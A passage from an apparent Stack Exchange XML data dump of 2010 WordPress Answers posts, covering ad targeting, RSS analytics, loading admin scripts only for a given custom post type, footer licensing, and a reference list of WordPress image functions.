by a guy named Flynn&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditorDisplayName="" LastEditDate="2010-08-31T00:00:19.067" LastActivityDate="2010-08-31T00:00:19.067" />
  <row Id="1053" PostTypeId="1" AcceptedAnswerId="1056" CreationDate="2010-08-31T01:01:30.247" Score="1" ViewCount="68" Body="&lt;p&gt;I wish to be able to give different ads to visitors of different &quot;types&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;People from country X will get one ad, while people from country Y will get no ads.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;First time visitors will get an ad.  Returning visitors won't.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The ad can be either google ads or something else.  Any plugin or hack to do it?&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-31T10:15:43.380" LastActivityDate="2010-08-31T10:15:43.380" Title="Offering Ads Dependent on Visitor Type?" Tags="&lt;plugins&gt;&lt;adsense&gt;&lt;ads&gt;" AnswerCount="2" />
  <row Id="1054" PostTypeId="1" AcceptedAnswerId="1070" CreationDate="2010-08-31T01:03:42.253" Score="0" ViewCount="235" Body="&lt;p&gt;I wish to tag visitors who came to my site and clicked the RSS button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goul is to &quot;Segment&quot; this visitors in google analytics, so I'll be able to see where my &quot;new readers&quot; are coming from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can it be done in WordPress?&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-08-31T15:31:26.710" Title="Tracking RSS subscribers in google analytics" Tags="&lt;rss&gt;&lt;google-analytics&gt;" AnswerCount="2" />
  <row Id="1055" PostTypeId="2" ParentId="1054" CreationDate="2010-08-31T01:44:10.470" Score="1" ViewCount="" Body="&lt;p&gt;It's not a wordpress thing but a syndication thing. You need to setup an account with Feedburner, and then use the instructions there to change your feed link to point to them. It's done via a plugin they have, so it's fairly painless. Then you share your feedburner username with Google Analytics. Google bought feedburner, so it may even be easier now. &lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2010-08-31T01:44:10.470" CommentCount="1" />
  <row Id="1056" PostTypeId="2" ParentId="1053" CreationDate="2010-08-31T05:12:24.863" Score="2" ViewCount="" Body="&lt;p&gt;There are systems that do something similar, particularly for Example 2.  &lt;a href=&quot;http://wordpress.org/extend/plugins/what-would-seth-godin-do/&quot; rel=&quot;nofollow&quot;&gt;What Would Seth Godin Do&lt;/a&gt;, for example, stores a cookie in the user's browser that tracks the number of times they've visited the site.  If they're a new visitor (have visited less than 5 times), it displays a message suggesting they subscribe to the site's RSS feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be a simple matter to build a similar system that displays a Google ad for first-time or new visitors but not for returning visitors.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-31T05:12:24.863" />
  <row Id="1057" PostTypeId="1" CreationDate="2010-08-31T05:58:45.080" Score="3" ViewCount="259" Body="&lt;p&gt;I am using WordPress for my site and need to add Google Analytics, a favicon, meta keywords, meta descriptions. I searched for plugin that would do this and found different plugins for each. Can anyone suggest me a plugin which can add Google Analytis, a favicon, meta keywords and meta description?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated. Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="478" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-31T10:18:06.947" LastActivityDate="2010-09-02T03:35:38.253" Title="Need a WordPress Plugin for Google Analytics, Favicon, Meta Keywords &amp; Description?" Tags="&lt;plugins&gt;&lt;google-analytics&gt;" AnswerCount="5" />
  <row Id="1058" PostTypeId="1" AcceptedAnswerId="1061" CreationDate="2010-08-31T07:31:20.300" Score="5" ViewCount="804" Body="&lt;p&gt;So I continue to run into this issue and I just looking for the best and simplest solution to solve this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have come to make use of custom post types in many different projects and have extended these with custom metaboxes which I have then further extended by adding custom scripts such as jQuery event calendar selectors... All of this works great except for one key issue... I don't want these custom jQuery scripts to load on every page in the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am essentially just looking for a way to just have these custom jquery fields loaded when I am on the &quot;edit post&quot; page for a SPECIFIC post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best solution here?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;UPDATE 1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First of all, thank you very much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am actually shocked that plugin developers dont make sure of things like this because as I am finding out this is one of the key reasons that problems exist with different plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am having some further issues though with this. For example...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have modified the script to call the if statement like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;if (is_admin() &amp;amp;&amp;amp; $pagenow=='post-new.php' OR $pagenow=='post.php' &amp;amp;&amp;amp; $typenow=='events')&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you can see I am trying to set things up so that my scripts ONLY get called when I am adding or editing a post within the post type of &quot;events&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want the script to load on any other page and also don't want it to run on the list of page within the post type of &quot;events&quot; so I would think the if statement is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem however seems to be that the script only gets loaded when I create a new post within this post type but it does not seem to work when I am editing an existing post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you test this out and maybe let me know what I could be doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the exact code which I am using... maybe there is a better or simple way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// INCLUDE METABOX CUSTOM JQUERY DATEPICKER 2&#xA;add_action('admin_init','load_admin_datapicker_script');&#xA;function load_admin_datapicker_script() {&#xA;  global $pagenow, $typenow;&#xA;  if (is_admin() &amp;amp;&amp;amp; $pagenow=='post-new.php' OR $pagenow=='post.php' &amp;amp;&amp;amp; $typenow=='events') {&#xA;    $ss_url = get_bloginfo('stylesheet_directory');&#xA;    wp_enqueue_script('jquery');&#xA;    wp_enqueue_script('custom_js_jquery_ui',&quot;{$ss_url}/admin-metabox/js/jquery-ui-1.7.1.custom.min.js&quot;,array('jquery'));&#xA;    wp_enqueue_script('custom_js_daterangepicker',&quot;{$ss_url}/admin-metabox/js/daterangepicker.jQuery.js&quot;,array('jquery'));&#xA;    wp_enqueue_script('custom_js_custom',&quot;{$ss_url}/admin-metabox/js/custom.js&quot;,array('jquery'),NULL,TRUE);&#xA;    wp_enqueue_style('custom_css_daterangepicker',&quot;{$ss_url}/admin-metabox/css/ui.daterangepicker.css&quot;);&#xA;    wp_enqueue_style('custom_css_jquery_ui',&quot;{$ss_url}/admin-metabox/css/redmond/jquery-ui-1.7.1.custom.css&quot;);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also... if I wanted to add three post types and load different JS scripts for each post types then would I just duplicate the code above three separate times or is this not a good way of doing this? For example... would it be better to just call:&#xA;global $pagenow, $typenow;&#xA;At the top of my functions file or does it matter or complicate things when I duplicate it more than once?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a different problem related to the same... I for example am utilizing the &quot;gravity forms&quot; plugin but I have noticed their scripts run on every page on the admin which is causing issues with other plugins. How would i go about modifying their script to ensure the scripts only get loaded when I need them.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;UPDATE 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have modified my functions.php file with the code provided by Mike (below) however it seems that the applicable javascript is still being included when you create a NEW Post or Page. This means that when you attempt to create a NEW Post or Page either by creating a new default wordpress post/page or when you create a NEW post/page based off one of your custom post types. The code proposed by Mike IS working on all other admin pages and it DOES work when you &quot;EDIT&quot; an existing post/page or custom post type. Any suggested modifications to make this work correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   add_action('admin_init','load_admin_datapicker_script');&#xA;   function load_admin_datapicker_script() {&#xA;    global $pagenow, $typenow;&#xA;    if (empty($typenow) &amp;amp;&amp;amp; !empty($_GET['post'])) {&#xA;        $post = get_post($_GET['post']);&#xA;        $typenow = $post-&amp;gt;post_type;&#xA;    }&#xA;    if (is_admin() &amp;amp;&amp;amp; $pagenow=='post-new.php' OR $pagenow=='post.php' &amp;amp;&amp;amp; $typenow=='events') {&#xA;        $ss_url = get_bloginfo('stylesheet_directory');&#xA;        wp_enqueue_script('jquery');&#xA;        wp_enqueue_script('custom_js_jquery_ui',&quot;{$ss_url}/admin-metabox/js/jquery-ui-1.7.1.custom.min.js&quot;,array('jquery'));&#xA;        wp_enqueue_script('custom_js_daterangepicker',&quot;{$ss_url}/admin-metabox/js/daterangepicker.jQuery.js&quot;,array('jquery'));&#xA;        wp_enqueue_script('custom_js_custom',&quot;{$ss_url}/admin-metabox/js/custom.js&quot;,array('jquery'),NULL,TRUE);&#xA;        wp_enqueue_style('custom_css_daterangepicker',&quot;{$ss_url}/admin-metabox/css/ui.daterangepicker.css&quot;);&#xA;        wp_enqueue_style('custom_css_jquery_ui',&quot;{$ss_url}/admin-metabox/css/redmond/jquery-ui-1.7.1.custom.css&quot;);&#xA;    }&#xA;   }&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2010-09-06T00:43:11.283" LastActivityDate="2010-09-22T08:16:22.737" Title="Loading External Scripts in Admin but ONLY for a Specific Post Type?" Tags="&lt;custom-post-types&gt;&lt;wp-admin&gt;&lt;admin&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="6" />
  <row Id="1059" PostTypeId="1" AcceptedAnswerId="1060" CreationDate="2010-08-31T09:03:20.670" Score="14" ViewCount="590" Body="&lt;p&gt;Is it allowed to remove the &lt;em&gt;&quot;Powered by WordPress&quot;&lt;/em&gt; link in the footer?&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-21T10:34:41.293" LastActivityDate="2011-07-26T09:11:55.403" Title="Removing the &quot;Powered by WordPress&quot; Link?" Tags="&lt;licensing&gt;" AnswerCount="7" FavoriteCount="3" />
  <row Id="1060" PostTypeId="2" ParentId="1059" CreationDate="2010-08-31T09:27:40.107" Score="19" ViewCount="" Body="&lt;p&gt;Yes WordPress is licensed using the &lt;a href=&quot;http://www.gnu.org/philosophy/free-sw.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;GPL v2 license&lt;/strong&gt;&lt;/a&gt; so you are &lt;em&gt;&quot;free&quot;&lt;/em&gt; to do whatever you want to with it (&lt;a href=&quot;http://www.gnu.org/philosophy/free-sw.html&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;&quot;free&quot;&lt;/em&gt; as in &lt;em&gt;&quot;free speech&quot;&lt;/em&gt;, not &lt;em&gt;&quot;free&quot;&lt;/em&gt; as in &lt;em&gt;&quot;free beer!&quot;&lt;/em&gt;&lt;/a&gt;.) &lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-31T09:27:40.107" />
  <row Id="1061" PostTypeId="2" ParentId="1058" CreationDate="2010-08-31T10:07:15.300" Score="5" ViewCount="" Body="&lt;p&gt;First, I assume you &lt;a href=&quot;http://wordpress.stackexchange.com/questions/556/#562&quot;&gt;&lt;strong&gt;are using &lt;code&gt;wp_enqueue_script()&lt;/code&gt; to load your scripts&lt;/strong&gt;&lt;/a&gt;, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if I understand your question then &lt;strong&gt;what you need is something like the following&lt;/strong&gt;. You'll have to edit it for your details, of course, but it gives you the general framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are hooking &lt;code&gt;admin_init&lt;/code&gt; with the function &lt;code&gt;load_my_script()&lt;/code&gt; to tests the global &lt;code&gt;$pagenow&lt;/code&gt; for a match with the admin page &lt;code&gt;edit.php&lt;/code&gt;, and the global &lt;code&gt;$typenow&lt;/code&gt; to see if the post type is the one you want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest are just details which you can read about &lt;a href=&quot;http://wordpress.stackexchange.com/questions/556/#562&quot;&gt;here&lt;/a&gt; if you need to learn more:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('admin_init','load_my_script');&#xA;function load_my_script() {&#xA;  global $pagenow, $typenow;&#xA;  if ($pagenow=='edit.php' &amp;amp;&amp;amp; $typenow=='my-custom-type') {&#xA;    $ss_url = get_bloginfo('stylesheet_directory');&#xA;    wp_enqueue_script('jquery');&#xA;    wp_enqueue_script('my-custom-script',&quot;{$ss_url}/js/my-custom-script.js&quot;,array('jquery'));&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm replying to your update. Unfortunately (&lt;em&gt;for whatever reason&lt;/em&gt;) &lt;code&gt;$typenow&lt;/code&gt; does not have a value during &lt;code&gt;admin_init&lt;/code&gt; so you'll need to get the &lt;code&gt;post_type&lt;/code&gt; by loading the post based on the URL parameter &lt;code&gt;'post'&lt;/code&gt; as you see in the follow example (I've copied the line above and line below from your example so you can see where to place it):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $pagenow, $typenow;&#xA;if (empty($typenow) &amp;amp;&amp;amp; !empty($_GET['post'])) {&#xA;  $post = get_post($_GET['post']);&#xA;  $typenow = $post-&amp;gt;post_type;&#xA;}&#xA;if (is_admin() &amp;amp;&amp;amp; $pagenow=='post-new.php' OR $pagenow=='post.php' &amp;amp;&amp;amp; $typenow=='events') {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. &lt;strong&gt;As for your other questions, please post them as new question on the site&lt;/strong&gt; for me or others to answer. Since we are working so hard to help you, please take great care to give your title the best title you possibly can and also please write your questions as clearly and succinctly as possible with good formatting and proper English. If you'll do this it will help with the same issues recognize your question as being similar to what they need and it will make it easier on us who are answering your questions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask this of you (&lt;em&gt;and of all others who ask questions on WordPress Answers&lt;/em&gt;) as a favor in exchange for taking the time effort to answer your questions because I and the other moderators want to make WordPress Answers a tremendous resource for the community instead of yet another sloppy forum that is hard to read and hard to find answers like so many other sites on the web.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE #2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I thought you might have had an operator precedence issues in your if statement but when I tested before I didn't run into it. If it is behaving as your say then you almost certainly do so try this instead (sorry, I don't have time to test this right now to ensure for certain that it works):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('admin_init','load_my_script');&#xA;function load_my_script() {&#xA;  global $pagenow, $typenow;&#xA;  if (empty($typenow) &amp;amp;&amp;amp; !empty($_GET['post'])) {&#xA;    $post = get_post($_GET['post']);&#xA;    $typenow = $post-&amp;gt;post_type;&#xA;  }&#xA;  if (is_admin() &amp;amp;&amp;amp; $typenow=='events') {&#xA;    if ($pagenow=='post-new.php' OR $pagenow=='post.php') { &#xA;      $ss_url = get_bloginfo('stylesheet_directory');&#xA;      wp_enqueue_script('jquery');&#xA;      wp_enqueue_script('my-custom-script',&quot;{$ss_url}/js/my-custom-script.js&quot;,array('jquery'));&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-06T05:42:51.810" LastActivityDate="2010-09-06T05:42:51.810" CommentCount="11" />
  <row Id="1062" PostTypeId="2" ParentId="1053" CreationDate="2010-08-31T10:14:14.553" Score="1" ViewCount="" Body="&lt;p&gt;Take a serious look at &lt;a href=&quot;http://www.openx.org/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Open-X Ad Server&lt;/strong&gt;&lt;/a&gt;. It requires setting up as an independent server (unless you use their service) but it has all of what you are asking for a tons more. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not that ambitious take a look at &lt;a href=&quot;http://www.oiopublisher.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;OIO Publisher Ad Manager&lt;/strong&gt;&lt;/a&gt; plugin for WordPress. I believe it can also handle what you are looking for (please report back if not.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, &lt;strong&gt;&lt;em&gt;don't even consider building your own ad server&lt;/em&gt;&lt;/strong&gt;. My company went down that path back in the late 90s and you would not believe how complicated the logic gets not to mention trying to ensure it is performant. If you are doing anything serious you definitely want to stand on the shoulders of giants on this one.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-31T10:14:14.553" />
  <row Id="1063" PostTypeId="2" ParentId="1057" CreationDate="2010-08-31T10:23:05.050" Score="3" ViewCount="" Body="&lt;p&gt;It is were me I'd &lt;strong&gt;just use different plugins&lt;/strong&gt;; not sure if you'll find one that does all of them and if so finding it will be happenstance.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or &lt;strong&gt;just code it directly into your theme&lt;/strong&gt; (unless you are concerned about switching or upgrading themes.)  Each of those is very trivial to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually these would make &lt;em&gt;three (3) good additional questions&lt;/em&gt; if you want to ask them:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Adding Google Analytics&lt;/strong&gt; to a Theme without using a Plugin?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Adding a Favicon&lt;/strong&gt; to a Theme without using a Plugin?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Adding Meta Keywords &amp;amp; Meta Descriptions&lt;/strong&gt; to a Theme without using a Plugin?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Actually, &lt;strong&gt;the latter should be done on a page-by-page basis&lt;/strong&gt; so an &lt;strong&gt;SEO plugin&lt;/strong&gt; or &lt;strong&gt;SEO optimized theme&lt;/strong&gt; would probably be best there.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-31T10:23:05.050" />
  <row Id="1064" PostTypeId="1" AcceptedAnswerId="1501" CreationDate="2010-08-31T10:27:42.707" Score="2" ViewCount="351" Body="&lt;p&gt;I need mathematics on a WordPress site and I'm having trouble finding a suitable LaTeX plug-in. I've tried several solutions including MathJax (which is slow and renders inconsistently) and the WP QuickLaTeX plugin which works well but does not allow displayed equations (only inline equations) and stores all images on an external site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like a plugin that allows inline and displayed equations, stores images locally and does not take an age to render the maths on a page. Does it exist?&lt;/p&gt;&#xA;" OwnerUserId="239" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-27T13:34:23.443" LastActivityDate="2011-05-27T13:34:23.443" Title="Recommendations for a LaTeX Plugin?" Tags="&lt;plugin-recommendation&gt;&lt;latex&gt;&lt;plugin-mathjax&gt;&lt;plugin-wp-quicklatex&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="1065" PostTypeId="2" ParentId="1051" CreationDate="2010-08-31T10:44:16.177" Score="8" ViewCount="" Body="&lt;p&gt;I recently did some research for a client project recently so &lt;em&gt;lo-and-behold&lt;/em&gt; I get to use it here! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the text you'll see a categorized list of most (all?) of the image handling functions from within WordPress 3.0.1 (I grouped them in some semblance of order but don't put too much credence in my categorization.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, &lt;strong&gt;&lt;em&gt;answering what (I think) you need instead of what you asked for&lt;/em&gt;&lt;/strong&gt; (&lt;em&gt;okay, I'll answer that too, at the end&lt;/em&gt;) I think what you need is the &lt;code&gt;wp_get_attachment_image()&lt;/code&gt; function which will return an HTML string containing these attributes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;'src'&lt;/code&gt;, &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;'class'&lt;/code&gt;, &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;'alt'&lt;/code&gt; and &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;'title'&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;WordPress 3.0 Image Handling Functions&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;So here are WordPress' image handling functions for your and other's reference (&lt;em&gt;jump below for the answer to your exact question&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Image Support/Thumbnails&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/set_post_thumbnail_size&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;set_post_thumbnail_size( $width = 0, $height = 0, $crop = FALSE )&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_image_size( $name, $width = 0, $height = 0, $crop = FALSE )&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_intermediate_image_sizes&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_intermediate_image_sizes()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_constrain_dimensions&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_constrain_dimensions( $current_width, $current_height, $max_width=0, $max_height=0 )&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Attachment&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_attached_file&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_attached_file( $attachment_id, $unfiltered = false )&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_local_attachment&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_local_attachment($url)&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/update_attached_file&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;update_attached_file( $attachment_id, $file )&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_attachment_is_image&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_attachment_is_image( $post_id = 0 )&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_count_attachments&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_count_attachments( $mime_type = '' )&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_delete_attachment&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_delete_attachment( $post_id, $force_delete = false )&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_image($attachment_id, $size = 'thumbnail', $icon = false, $attr = '')&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image_src&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_image_src($attachment_id, $size='thumbnail', $icon = false)&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_metadata&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_metadata( $post_id = 0, $unfiltered = false )&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_thumb_file&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_thumb_file( $post_id = 0 )&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_thumb_url&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_thumb_url( $post_id = 0 )&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_url&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_url( $post_id = 0 )&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_attachment&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_insert_attachment($object, $file = false, $parent = 0)&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_update_attachment_metadata&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_update_attachment_metadata( $post_id, $data )&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;MIME Types&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_match_mime_types&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_match_mime_types($wildcard_mime_types, $real_mime_types)&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_mime_type_icon&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_mime_type_icon( $mime = 0 )&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_post_mime_type_where&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_post_mime_type_where($post_mime_types, $table_alias = '')&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Uploads&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/media_handle_upload&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;media_handle_upload()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Filesystem&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/_wp_relative_upload_path&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;_wp_relative_upload_path( $path )&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_upload_dir&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_upload_dir( $time = null )&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;HTML&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_image_tag&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_image_tag($id, $alt, $title, $align, $size='medium')&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Low Level Image Handling:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_load_image&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_load_image( $file 